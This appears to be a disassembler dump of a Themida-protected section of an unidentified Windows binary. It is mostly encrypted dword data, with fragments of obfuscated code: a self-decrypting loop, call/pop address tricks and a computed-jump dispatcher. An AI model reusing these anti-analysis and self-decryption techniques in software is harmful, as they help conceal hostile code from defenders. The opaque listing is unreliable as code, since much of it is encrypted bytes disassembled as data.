dd 4, 8704EA83h, 248B2414h, 7CE26824h, 1C890000h, 1F0B6824h
dd 0C890000h, 0CE685024h, 584C631Ah, 0AD1DF435h, 11BE5606h
dd 0C1200C2Bh, 0F68104E6h, 34C53AADh, 0DEF7DEF7h, 0E107C681h
dd 0F0210A21h, 0C362D5Eh, 0C38903ECh, 0C8B5458h, 4C48124h
dd 53000000h, 1B1BB951h, 4C010F99h, 8F590424h, 69810841h
dd 991B1B08h, 240C8B0Fh, 81E78957h, 4C7h, 4C78100h, 87000000h
dd 0FF5C243Ch, 815B2434h, 4C4h, 7EACE900h, 0CB67FFF9h
dd 37B2C23Dh
; ---------------------------------------------------------------------------
rcl eax, 1
pop ebp
loc_5E99DF: ; CODE XREF: Themida_:005E91F4j
mov eax, 61BFF10h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 200CEFEEh, 562F7D3Eh, 687A83B0h, 45A0BDF4h, 45C1FD68h
dd 7BAADFAEh, 11CFB437h, 5C5A3DDh, 4D49E454h, 541D14A1h
dd 390E3844h, 2E3CAA2Fh, 6CAA5234h, 13E8h, 58283F00h, 426E927Ch
dd 78817F7h, 0C51083F8h, 0D91AF36Eh, 0BA5BC68Bh, 34B77E18h
dd 69A7C381h, 0F500000h, 480h, 3BB86600h, 39BF58AAh, 8B00001Ah
dd 0AE80Bh, 0F6CE0000h, 48EA90F9h, 0E37C9C8h, 0AE952h
dd 0E3F50000h, 0B44B2F21h, 518137E2h, 0F181585Ah, 69257C4Eh
dd 0C18156B4h, 7B30665h, 5AF28166h, 27C18124h, 661D4C6Fh
dd 8051D38Bh, 38F82DEh, 0EB83F78Bh, 0F0B70F04h, 0F01EF83h
dd 2485h, 6E900h, 0C59D0000h, 807B6D69h, 2FE9h, 2375AC00h
dd 5E42BFDAh, 0EFC26868h, 0CC19C368h, 2F6F3602h, 324FBE69h
dd 7CE9069Ch, 41FFFFFFh, 84922217h, 46CE7579h, 1A98625h
dd 5B2AFB81h, 1638D8Dh, 8B66061Ch, 0D850FC6h, 0E9000000h
dd 8, 395C3247h, 0A2228744h, 27218D89h, 0BD230615h, 6153399h
dd 4CD85C7h, 6EE40615h, 0DE810000h, 3F46B226h, 111585C7h
dd 615h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 5F6EB9C3h, 25B5896Ch, 0FF061529h
dd 153375B5h, 81853306h, 0FF061527h, 1502C995h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 5EFD2218h, 0D5EB24B1h, 8166E0EDh, 6AD667CAh, 2195FF00h
dd 8B06152Eh, 0EA0AEBC0h, 0C8264CA7h, 7AFED267h, 878D8D61h
dd 6A061C02h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 5D37C357h, 0E97DB603h, 12h, 1A3BC6Fh
dd 0F42AAAFBh, 0E0C0341Ah, 47351328h, 8D89B124h, 6152721h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 45C35343h
dd 0ACADB1D9h, 5890F43h, 66000000h, 1E33C281h, 0C6D9D8Bh
dd 85C70615h, 61504CDh, 6BA0h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 0B0C35545h, 15DDB509h, 0BD890615h
dd 6152509h, 111585C7h, 615h, 0B5890000h, 6150401h, 10F1B5FFh
dd 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
dd 56460000h, 0D76D4DC3h, 7CE4EA94h, 95FFF9FEh, 61502C9h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0FFC35242h
dd 4840F35h, 66000000h, 6A68F9BEh, 2195FF00h, 8B06152Eh
dd 1878EBC0h, 46FC4B57h, 0ACA562CBh, 0CDD457FBh, 20EB115Dh
dd 5FCCA4F3h, 7567713Ah, 6645D2ECh, 0BD08A6FEh, 0B4DA5603h
dd 328FCFD3h, 0A3728794h, 0B510931Fh, 4B2E3588h, 92A377C5h
dd 8CAACDFBh, 34CC2BC2h, 93D90A2h, 0D0046D68h, 0E325956h
dd 0F2A20EFFh, 9FF4757Fh, 8A31DF0Bh, 0F0437034h, 0DE5D28EAh
dd 0F14F7327h, 7936542Ch, 52DBE427h, 9634E09Ch, 67C918BCh
dd 0E88CEB9Dh, 10h, 831238B3h, 0B95B6032h, 571E30AAh, 0C83C2701h
dd 5EC78B66h, 0B723F081h, 0C68132D7h, 6107h, 68BBB3h, 8B000000h
dd 0FC535FC7h, 3E0C8B5Bh, 0D4DB8166h, 0CBF1813Dh, 0B4E97C5h
dd 151D7185h, 3DF18106h, 8928F787h, 15172D95h, 0C2F18106h
dd 0F591C12h, 684h, 35858B00h, 51061529h, 0C140DA81h, 48F1FF7h
dd 1595893Eh, 89061503h, 1519F195h, 0A0EF8106h, 92A29FAh
dd 1512ADB5h, 9CC78106h, 0B2A29FAh, 15199995h, 94FF8106h
dd 0FFFFF9Fh, 0FFFF9485h, 318D89FFh, 8D061527h, 1C04928Dh
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 96059A6Eh, 14E8A3h, 47690000h, 0BCA9EB68h
dd 6CD588D5h, 825A1560h, 0B67AF512h, 0BB660226h, 895EFA96h
dd 1527218Dh, 0EB816606h, 85C7585Ch, 61504CDh, 728Ch, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 3BC35040h, 0FB78C1D4h
dd 19BD8B93h, 0C7061523h, 15111585h, 6, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 13E8E0h, 98920000h, 4A82E201h, 82E8BF80h, 4AE2F908h
dd 0A5D1D2E0h, 0A19D8B19h, 5B061509h, 1D45B5FFh, 95010615h
dd 6150219h, 2C995FFh, 7E90615h, 4C000000h, 6CA23863h
dd 6ADA87h, 2E2195FFh, 0C08B0615h, 90F70BEBh, 0E7B292F8h
dd 0AF37A02Dh, 688D8D7Eh, 8B061C05h, 152C9185h, 218D8906h
dd 60061527h, 79858B60h, 0E9061529h, 0Ch, 3106CBDAh, 0F2923833h
dd 30933F8Fh, 0CEB70F61h, 0CD85C761h, 0D8061504h, 6A000064h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 0D06BC353h, 111585C7h, 615h, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
dd 83BA4BC3h, 37C2E05Ah, 1365C61h, 150C35BDh, 95B5FF06h
dd 89061505h, 1519AD8Dh, 0C995FF06h, 6A061502h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 7DF5C350h, 25FBEA75h, 95FF006Ah
db 21h, 2Eh, 15h
; ---------------------------------------------------------------------------
loc_5E9F97: ; DATA XREF: Themida_:0057B3DCo
push es
mov eax, eax
jmp short loc_5EA006
; ---------------------------------------------------------------------------
dd 0EA890D1Ah, 3F8A8A07h, 705A73E4h, 195DC509h, 61B42056h
dd 0FDEDA0C3h, 3C0489CFh, 9F6178B7h, 434371DEh, 9FB1BB15h
dd 9FD50D2Eh, 0F3478A22h, 59AD0CBDh, 349D069Fh, 11FF97BDh
dd 864EE295h, 941881CCh, 4011D0D5h, 0A7ADBA15h, 0FE8FCB49h
dd 9C22F12Dh, 61A7ED0h, 7B3D7AA2h, 0BE845930h, 0C5EFD5DDh
dd 6620D8A3h
db 0A3h, 73h
; ---------------------------------------------------------------------------
loc_5EA006: ; CODE XREF: Themida_:005E9F9Aj
call sub_5EA013
stosd
in eax, dx
xchg ax, si
; ---------------------------------------------------------------------------
db 8Eh
db 89h, 0D5h, 0F3h
; =============== S U B R O U T I N E =======================================
sub_5EA013 proc near ; CODE XREF: Themida_:loc_5EA006p
or [ebp+6152F61h], ecx
pop eax
clc
add eax, 7105h
mov ecx, esi
mov edi, 558371D9h
sub edi, 558355B3h
sbb cx, 1A84h
loc_5EA033: ; CODE XREF: sub_5EA013+59j
mov esi, [eax]
movsx edx, bx
sub esi, 582B7A40h
mov [ebp+61508F1h], edi
xor esi, 258FF60Fh
mov [ebp+61522D9h], eax
add esi, 23EEAECh
mov [eax], esi
mov [ebp+6150331h], ecx
sub eax, 4
jmp loc_5EA06B
; ---------------------------------------------------------------------------
mov ebp, 24C466FBh
loc_5EA06B: ; CODE XREF: sub_5EA013+4Ej
dec edi
jnz loc_5EA033
jmp loc_5EA07C
; ---------------------------------------------------------------------------
db 29h
dd 86049BAh
; ---------------------------------------------------------------------------
loc_5EA07C: ; CODE XREF: sub_5EA013+5Fj
; DATA XREF: Themida_:0057BD08o
lea ecx, [ebp+61C0737h]
push 0
push ecx
call sub_5EA08D
and [ecx-3Dh], bl
sub_5EA013 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5EA08D proc near ; CODE XREF: sub_5EA013+72p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_5EA08D endp
; ---------------------------------------------------------------------------
inc ebp
aas
xor di, 44CCh
mov [ebp+6152721h], ecx
jmp loc_5EA0C0
; ---------------------------------------------------------------------------
db 68h
dd 7017AF46h, 0BF1CA08Ch, 0B5A9B294h, 6E467967h
; ---------------------------------------------------------------------------
loc_5EA0C0: ; CODE XREF: Themida_:005EA0AAj
mov dword ptr [ebp+61504CDh], 5808h
push 0
push ebx
call sub_5EA0D5
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EA0D5 proc near ; CODE XREF: Themida_:005EA0CDp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5EA0D5 endp
; ---------------------------------------------------------------------------
db 16h, 7Bh, 0D3h
dd 29E8ACA4h, 1504DD8Dh, 1585C706h, 61511h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 0C4DBC353h, 22710FFBh, 0C840F1Ch, 0F000000h
dd 680h, 49EF8100h, 0FF0CCD37h, 152921B5h, 0CE96006h, 9000000h
dd 2D9A06C2h, 0B2993FD5h, 230C8C7Ch, 150CC195h, 95FF6106h
dd 61502C9h, 7864CDBEh, 3D95890Fh, 6A061502h, 2195FF00h
dd 8B06152Eh, 844DEBC0h, 9030BC6Eh, 56D8895Bh, 0F9F5891h
dd 313D4855h, 72202418h, 5D75AEB6h, 6C54F2C9h, 67A53FD1h
dd 774B10A9h, 0CDF8E159h, 68F324B9h, 42BDAA7h, 0F5B82A86h
dd 72D8F588h, 6B05611Eh, 0F878F846h, 369F09AAh, 323DFB22h
dd 6455036Ah, 15FE9h
db 0
; =============== S U B R O U T I N E =======================================
sub_5EA1BD proc near ; CODE XREF: sub_406890+12Cp
; sub_409BC0+1Cp ...
push edx
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 61C0797h
mov eax, [edx+8]
cmp eax, 78263845h
jnz loc_5EA313
mov eax, [edx+0Ch]
mov ecx, [edx+18h]
ror eax, cl
mov ebx, 71B167A6h
xor eax, ebx
sub eax, 4
mov [ebp+6152721h], eax
mov ebx, [eax+4]
mov edi, eax
mov eax, [edx+10h]
mov ecx, [edx+18h]
ror eax, cl
mov esi, 0D9248B32h
xor eax, esi
sub eax, edi
and eax, 0FFFFFFFCh
sub eax, 4
mov [ebp+61504CDh], eax
mov eax, [edx+14h]
mov [ebp+6151115h], eax
mov eax, [edx+18h]
push ebx
jmp loc_5EA2D7
; ---------------------------------------------------------------------------
push dword ptr [ebp+6151D45h]
jmp loc_5EA2EB
; ---------------------------------------------------------------------------
push dword ptr [ebp+6152F59h]
jmp loc_5EA2EB
; ---------------------------------------------------------------------------
push dword ptr [ebp+6152E0Dh]
jmp loc_5EA2EB
; ---------------------------------------------------------------------------
push dword ptr [ebp+6150595h]
jmp loc_5EA2EB
; ---------------------------------------------------------------------------
push dword ptr [ebp+6152D19h]
jmp loc_5EA2EB
; ---------------------------------------------------------------------------
push dword ptr [ebp+61510F1h]
jmp loc_5EA2EB
; ---------------------------------------------------------------------------
push dword ptr [ebp+61533EDh]
jmp loc_5EA2EB
; ---------------------------------------------------------------------------
push dword ptr [ebp+61502B5h]
jmp loc_5EA2EB
; ---------------------------------------------------------------------------
push dword ptr [ebp+61523E1h]
jmp loc_5EA2EB
; ---------------------------------------------------------------------------
push dword ptr [ebp+6152921h]
jmp loc_5EA2EB
; ---------------------------------------------------------------------------
push dword ptr [ebp+6152339h]
jmp loc_5EA2EB
; ---------------------------------------------------------------------------
push dword ptr [ebp+6153375h]
jmp loc_5EA2EB
; ---------------------------------------------------------------------------
push dword ptr [ebp+6150009h]
jmp loc_5EA2EB
; ---------------------------------------------------------------------------
push dword ptr [ebp+6152CBDh]
jmp loc_5EA2EB
; ---------------------------------------------------------------------------
push dword ptr [ebp+6152A49h]
jmp loc_5EA2EB
; ---------------------------------------------------------------------------
push dword ptr [ebp+61533A9h]
jmp loc_5EA2EB
; ---------------------------------------------------------------------------
loc_5EA2D7: ; CODE XREF: sub_5EA1BD+65j
mov ebx, eax
mov eax, 0Bh
mul bx
lea ecx, [ebp+61C07F8h]
add ecx, eax
jmp ecx
; ---------------------------------------------------------------------------
loc_5EA2EB: ; CODE XREF: sub_5EA1BD+70j
; sub_5EA1BD+7Bj ...
call dword ptr [ebp+61502C9h]
pop ebx
loc_5EA2F2: ; CODE XREF: sub_5EA1BD+14Ej
mov eax, [ebp+6152721h]
cmp [eax+4], ebx
jnz loc_5EA310
push ebx
push 1
call dword ptr [ebp+6152E21h]
pop ebx
jmp loc_5EA2F2
; ---------------------------------------------------------------------------
loc_5EA310: ; CODE XREF: sub_5EA1BD+13Ej
popa
pop edx
retn
; ---------------------------------------------------------------------------
loc_5EA313: ; CODE XREF: sub_5EA1BD+18j
popa
pop edx
mov eax, 7E41A8ADh
jmp eax
sub_5EA1BD endp
; ---------------------------------------------------------------------------
dd 2F29858Bh, 8D8D0615h, 61C08E6h, 8B014189h, 0C585C6C3h
dd 56061509h, 0C530DF68h, 11B5FFA9h, 8D061528h, 1872BC85h
dd 8DD0FF06h, 1528398Dh, 406A5106h, 33B9B5FFh, 0B5FF0615h
dd 615119Dh, 0B5FFD0FFh, 61533B9h, 119DB5FFh, 0DE80615h
dd 24000000h, 0DB41C830h, 0A7C8E699h, 32943FFAh, 0E8835858h
dd 242CC104h, 2424C102h, 24040302h, 2B241CF7h, 634FFF6h
dd 0BDEF815Fh, 81161E00h, 20F5FC7h, 0E5EF8141h, 5746F513h
dd 8330048Fh, 343B04EEh, 0DA850F24h, 8DFFFFFFh, 150FFD9Dh
dd 0B038B06h, 7840FC0h, 8B000000h, 45B8B03h, 0C98B1889h
dd 0A4D8D8Dh, 6A061Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 3DB767C3h, 8D640B96h, 89D98B54h
dd 1527218Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 372C1A7Ch, 0C71B1F9Bh, 1504CD85h
dd 6A3C06h, 3D9D2300h, 0C7061502h, 15111585h, 6, 0A1B58900h
dd 0FF06150Bh, 1502B5B5h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 4B84D490h
dd 9797C5ABh, 95FF9679h, 61502C9h, 0FF006AF5h, 152E2195h
dd 0EBC08B06h, 0E31D862Fh, 52A5D089h, 0DBB575F6h, 1FB96EDh
dd 0BB82CDE3h, 0B5F692B4h, 2459909Eh, 4C4B8793h, 9856C18Ah
dd 0AF595D85h, 0B84CC1E0h, 0DD204B7h, 0E5E9h, 98306700h
dd 459CD717h, 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h
dd 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h
dd 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h
dd 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh
dd 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h, 0AFF144D6h
dd 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh
dd 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh
dd 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh
dd 43F1B6D0h, 0F0A8CDh, 0
dd 129D7447h, 5E99E0E3h, 0Bh dup(0)
dd 6DE90000h, 68000015h, 61C0D77h, 0F972D9E9h, 0E8268FFh
dd 0CFE9061Ch, 68FFF972h, 61C0F5Eh, 0F972C5E9h, 109868FFh
dd 0BBE9061Ch, 68FFF972h, 61C1110h, 0F972B1E9h, 11CB68FFh
dd 0A7E9061Ch, 68FFF972h, 61C1277h, 0F9729DE9h, 133D68FFh
dd 93E9061Ch, 68FFF972h, 61C13F0h, 0F97289E9h, 153968FFh
dd 7FE9061Ch, 68FFF972h, 61C1652h, 0F97275E9h, 17AF68FFh
dd 6BE9061Ch, 68FFF972h, 61C1890h, 0F97261E9h, 19F868FFh
dd 57E9061Ch, 68FFF972h, 61C1B2Dh, 0F9724DE9h, 1D1068FFh
dd 43E9061Ch, 68FFF972h, 61C1E01h, 0F97239E9h, 50C03EFFh
dd 9B0B6EC5h, 58C825FAh, 920266BDh, 5ECE2C03h, 0F8ABE0B7h
dd 0B46B0A7Ah, 0FD32C333h, 0B9660F7Fh, 982BCA3Ah, 0FECA0FB6h
dd 30B1169Ah, 66C7240Ch, 86F2BADFh, 0C47F4110h, 1086F29Dh
dd 4F604F60h, 0BD25666Fh, 8C8E11C4h, 696E30DEh, 0B98CBE26h
dd 10867990h, 0FD6D4A5Bh, 0F122C869h, 63532292h, 815B6393h
dd 4F16AE54h, 47233D9Ch, 9BF2245Ch, 9E98A916h, 93E3F617h
dd 0A5187F16h, 0BD2F19A4h, 519F9Dh, 949D0000h, 4EC6A414h
dd 3DB0BABh, 9BF5F040h, 0A5062B16h, 5F615535h, 93F1BDE4h
dd 406F4016h, 45B5357Eh, 0B0A567A5h, 7F50D1EDh, 0C9F4961Fh
dd 16935884h, 0DB17C671h, 0CF74DEFAh, 0A1BD0A26h, 93E1FF22h
dd 0BDAD7E16h, 0BD2D6BCEh, 0C4F19Dh, 24C50000h, 525F57C7h
dd 980864F0h, 11727FB7h, 0FF7C75A1h, 8EA11173h, 0E94E63E7h
dd 0AA403D79h, 86F7FCFBh, 80431910h, 1086F759h, 0BA771324h
dd 0E050AD39h, 332426CFh, 7A21B3BAh, 2011F95Ch, 5E8342A3h
dd 1D10869Bh, 85F3230Ch, 6BD81B1h, 169C6C42h, 0CF7B1A2Bh
dd 0FCEE5EE2h, 0ACB2E296h, 8BE11619h, 3A041510h, 6C0979F9h
dd 40A733B7h, 12370ED0h, 0D91CABDAh, 0C716E7C8h, 94B1C328h
dd 12BB22A2h, 1B9B0000h, 0D455CAABh, 23A29164h, 0EB4DE2B3h
dd 25859A7Bh, 0C0CBE0B5h, 18FD6DCDh, 6134A40Bh, 730272D2h
dd 26CF3FBCh, 0CF12B19Dh, 0AE169AFFh, 0C6244FEDh, 969BBF56h
dd 9A73A313h, 50C043F0h, 0BAB77C5h, 0F04003DBh, 2B169BF5h
dd 5733A306h, 0E5605667h, 1693F1B8h, 66E3CA45h, 9DBD1D03h
dd 0F589h, 1072BF00h, 9CB32384h, 624F46EEh, 8C7D6DDDh
dd 0D2F7CE2Fh, 301086F2h, 71A43A39h, 6334EC74h, 0D9594A4Ch
dd 765F2D69h, 9CB3D312h, 6C573315h, 1086580Fh, 2C32A221h
dd 414E9332h, 1C2D1086h, 0F63B1F6Eh, 3D120474h, 680272F6h
dd 5CE748ABh, 10864135h, 0CEC8E7B8h, 526C9C5Ch, 4172E261h
dd 77484EBEh, 5E02C193h, 1F169CB6h, 0D2292F2h, 4DF8E668h
dd 16933504h, 0B868D85Ah, 0DD4DACE7h, 83B3832Dh, 5E4808BBh
dd 2D3108Bh, 299C571Dh, 0E2D6B426h, 46A40DD1h, 92F03FD6h
dd 82065B22h, 5B59B1C2h, 11B0D7h, 0D848A600h, 1383E63Dh
dd 0E050AD82h, 2A9A1E15h, 0E656D44Bh, 0A013980Fh, 4CE3B222h
dd 859A7BEBh, 51DEB727h, 0E0F382F2h, 0FC0247FEh, 28E9169Ah
dd 56C62414h, 0A31370BFh, 0B642BA9Bh, 8CFD26EBh, 86F890B9h
dd 654A5B10h, 0AE5CCC2Eh, 0C72459DFh, 0F1525F57h, 0B8970765h
dd 3935B1A6h, 0C5322098h, 0DA044625h, 8609266Bh, 57D8C510h
dd 0F1DEAFE7h, 93356EDh, 0E9BA1086h, 45B51001h, 73E36051h
dd 0B9381BA2h, 3A09D505h, 169B00D6h, 9FB88697h, 3CF01871h
dd 1A9A999Eh, 7BEC0AAh, 0E0784C7h, 0AEB0E0A0h, 8DFD83B0h
dd 0FA7FB489h, 21C5E08Ah, 0B4EB3CCBh, 7145B3E3h, 7D52C225h
dd 9E67E261h, 25F6152Ah, 0F9B1819h, 2FB3BABh, 58DB482Dh
dd 0E43615E8h, 87ADB421h, 10D42Bh, 94048200h, 5FCF3201h
dd 9C0C69B6h, 56C62AF9h, 0A21270BFh, 0DCD7D4D3h, 1807EE5Eh
dd 0E14E2797h, 0D22F363h, 6C573EAEh, 0FDBEE362h, 0BC3D169Ah
dd 66C72480h, 86F2BADFh, 5F704110h, 0FD2DD157h, 0A2E62E1h
dd 9EAF169Ch, 0DF0FAFF7h, 37AC44FFh, 60311089h, 0CF766836h
dd 1CACB78Ah, 0DBCAA071h, 1CACB7B2h, 60E9D43Bh, 0A3D25EDDh
dd 4063h, 0BAB3700h, 0FF4003DBh, 7E169C41h, 24A091ADh
dd 11B4AAB4h, 1693BDC8h, 0F666C6B3h, 5F6231D9h, 1693A238h
dd 9461D132h, 30911D9Fh, 0D6F9D6C0h, 102F64E0h, 845A0000h
dd 93A298C1h, 0B8526316h, 0BF0BAB84h, 0DBE3CC3Ch, 5E555D6h
dd 942F2D2Fh, 1086F24Dh, 96141F30h, 61594426h, 0EC16A2FDh
dd 49AE03DBh, 0E5CA3ABDh, 0D040C0B1h, 24C6E9E6h, 32A22112h
dd 0FF6FCC63h, 5D8D31B7h, 609A5481h, 0CBE45C3Bh, 0DBFC07E5h
dd 0A9417BA2h, 0BF633093h, 91A10BEh, 0F7FFC35h, 73962D2Fh
dd 0FA1CBEBCh, 28324129h, 243AAA0Bh, 0BEBC78A1h, 5832031Ch
dd 0AEE858DBh, 724C7C3Ch, 0A44D8BD3h, 0C4596A1Ah, 0ABA2F2DFh
dd 9A86EE08h, 0BC00000Fh, 0EC43D242h, 0AB781D8Dh, 0E43BDA4Ah
dd 0B2811484h, 9615E050h, 0A8189A15h, 61D156CDh, 0AD1D9F94h
dd 68D85BC8h, 0B1143A8Dh, 169AE268h, 0B6EA5213h, 1086F297h
dd 0BE80B050h, 0A2FC3007h, 58663716h, 8D68D85Bh, 71A51596h
dd 0CF12B1ABh, 45169AF9h, 74BC5A79h, 3E0FB1A6h, 6292664Ch
dd 0D431825Ch, 0AD5D3264h, 8039DA0Eh, 0B92A310h, 0B1BF0714h
dd 2245ADC7h, 3400000Fh, 74AB4ABAh, 43F085F5h, 6CC352C2h
dd 2AF99C0Ch, 0DEBD58C8h, 2090F2ADh, 0E959DE55h, 2595170Ch
dd 0F060E350h, 19ACB225h, 169AE3F0h, 2442FA7Bh, 525F57C7h
dd 0A69581F1h, 8BFB7FB4h, 0E1D8B28Bh, 1DCE5BEEh, 105697A8h
dd 54000009h, 7E6CDC5Fh, 0DB0BAB96h, 38FCD903h, 999E6D21h
dd 0D4564525h, 5516A2DFh, 7A647A44h, 9ADF86CBh, 0B6546516h
dd 0EF86F675h, 8B53C340h, 6452C226h, 4D9F4C6Bh, 0D7A14E2Eh
dd 537AF933h, 0C169AECh, 0E192446Ch, 3E1989EFh, 775864C1h
dd 3D886E67h, 30F5D919h, 5A3363D3h, 4BF9575h, 108019CCh
dd 0FCFD8091h, 0E3B1BF26h, 0E6771D1h, 8FEF0000h, 48A9761Fh
dd 87E63DD8h, 4FB17E17h, 89E936DFh, 6C1F7C19h, 9461D131h
dd 0CDA8189Fh, 8F66D656h, 0E2B323A0h, 3356EDF1h, 0BA169AE3h
dd 864F0339h, 67FEE3Eh, 3CED9D38h, 5A474FBFh, 84CD78D9h
dd 0DA1086B7h, 0D3ACEA5Ah, 43735C6Dh, 5B5BCB2Eh, 4076E646h
dd 469D1089h, 5AEFDE57h, 97A862CFh, 83A55h, 97B63100h
dd 501086F2h, 7BE80B0h, 16A2FDE5h, 86ABB384h, 88A9B525h
dd 0D0F9CC2Dh, 9B169AF9h, 0A6C5A58Ah, 6492FA79h, 0B036054Bh
dd 0E654426Dh, 69DCE212h, 10800731h, 0F12EBBCh, 0D4B1BF2Ch
dd 0DBB62E2h, 1B9B0000h, 0D455CAABh, 23A29164h, 0EB4DE2B3h
dd 25859A7Bh, 0C0CBE0B5h, 18FD6DCDh, 6134A40Bh, 730272D2h
dd 26CF3FBCh, 0CF12B19Dh, 0AE169AE0h, 0C7244FEDh, 587D5F57h
dd 0B9B75436h, 0B97A10B5h, 0E1CCCA3Ah, 59E46558h, 0DF97A827h
dd 7A7h, 66DDFFDDh, 1086F323h, 54CF9CAh, 0E81086F3h, 0F798E8DFh
dd 0A8875330h, 0AEEA2F96h, 80911086h, 0BAB32EAh, 94003DBh
dd 7216A2FDh, 96831765h, 0DD8D22F4h, 8D6E8B9h, 0D92A6FD6h
dd 0E944169Ah, 14F6C779h, 51249417h, 0C5F161E2h, 0EA5ADAD7h
dd 8C37D3ACh, 169AD941h, 142A5A1Eh, 802179B1h, 0FDB5A210h
dd 0C55E607Ah, 3203B357h, 0BE7F626Bh, 136F85B1h, 0CF5h
dd 0A075E561h, 0D7BE2E93h, 987DED48h, 0E0B5258Bh, 967FEF53h
dd 93178A01h, 5ADD5223h, 98140BEAh, 55D64D28h, 97C710E5h
dd 9AE1E52Ch
dd 35078816h, 5F57C724h, 0BD81F152h, 0BD2D929Fh, 86F2C108h
dd 0EF9BAC10h, 10BF3645h, 0A81DB439h, 6DD3C97h, 4F500000h
dd 4670E062h, 0DE02A149h, 3D1086F2h, 7C460D18h, 0B7888EFEh
dd 936E12A0h, 0CDFDC1F7h, 0C63A52F1h, 0EABB16A2h, 0EC5CDFD4h
dd 0D991A09h, 4E103FAFh, 0B46CB510h, 3E0F169Ah, 0A858E24Ch
dd 0EA4D6678h, 74433C7Ah, 0DB3FB59Eh, 96A842EAh, 87ED7B2Fh
dd 6C310210h, 0B1BF35C9h, 4220A492h, 1400000Ch, 0D44B2A9Ah
dd 2310E555h, 0CC6332A2h, 0A19FC6Ch, 3E5D38A8h, 80F0524Dh
dd 49B93EF5h, 85F577ACh, 50C043F0h, 794C12C5h, 169AE150h
dd 24E25A1Bh, 4E8757C7h, 981D678Ch, 0AD670322h, 0CFC737B4h
dd 0AA0D2638h, 78A1243Ah, 31086D9h, 6E615832h, 8B6ADA59h
dd 0A8459316h, 1401997h, 24ED0000h, 525F57C7h, 960665F1h
dd 2ACEDCB9h, 2961E4FAh, 0B4169BFBh, 0D50B3E3h, 631693FBh
dd 3A276FDFh, 0B65145B5h, 0B713D0FFh, 0F17CCD00h, 779DBD26h
dd 36h, 61864F93h, 2D9D1C38h, 3126900Ah, 6F9F5F59h, 1A44F44Fh
dd 28F9169Bh, 14687EEh, 882F1693h, 4BF9D55h, 169301DDh
dd 0B0DB8FA0h, 9DBE0D4Dh, 0C7D3h, 0C724E700h, 946BE5Fh
dd 0B31B3CACh, 411D3203h, 2393161Bh, 867C5F82h, 0BF2F9110h
dd 0DC5A3001h, 0C3F363C7h, 41C14DAEh, 0C7E8E5D1h, 0F161E2CFh
dd 9062A124h, 9A971087h, 0B9298B17h, 0BBAFA096h, 987DED4Eh
dd 203E6E12h, 9E2077A5h, 29350616h, 5B3AAA08h, 0D242C2EFh
dd 0F969CFE4h, 0FBEFC0BDh, 7744AC0Eh, 0C13192BEh, 0F5ABDCF6h
dd 1114E8E2h, 2E01C562h, 0D777AA4Fh, 43BFB5B7h, 0AF9h
dd 0A471E15Dh, 0DBBA2A8Fh, 9C79E944h, 0E4B12187h, 9A7BEB4Fh
dd 0AF138EFDh, 66C9563Fh, 0B4101FF6h, 182B144h, 0BD30491h
dd 9AE71138h, 211BDC16h, 0BF56C624h, 0A616969Bh, 7CE447C4h
dd 0C6A9C604h, 0D5565DCAh, 7DAB4A65h, 5F57C724h, 0F481F152h
dd 4DED0h, 0BABEC00h, 3C4003DBh, 5F169BFCh, 0F883C67Dh
dd 596A1693h, 0FA3C0DB1h, 93F8527Bh, 49741B16h, 0BB2B88A9h
dd 3491827Bh, 0DFDD2C4h, 0BD241B9Eh, 0F276BB9Dh, 0C0309182h
dd 24FFA2Ah, 0B60E0000h, 1086F29Ch, 6777A757h, 0D76E6775h
dd 0B6CEF6AAh, 0C91B3EE7h, 0F9791086h, 0A9C5B4F6h, 0FBEFC060h
dd 0A28946A0h, 0F8C6D716h, 70CDE6h, 77FA3916h, 4C3E0F07h
dd 0D2EC5CDFh, 8D10390Ch, 0CADB169Ah, 24F981EDh, 0EA8044E5h
dd 0E196BF8Bh, 1D5B80FAh, 83B05Ah, 6414A690h, 58598043h
dd 3C2169Ah, 169A58DEh, 0E7148C9Dh, 143B1484h, 1989E94Ah
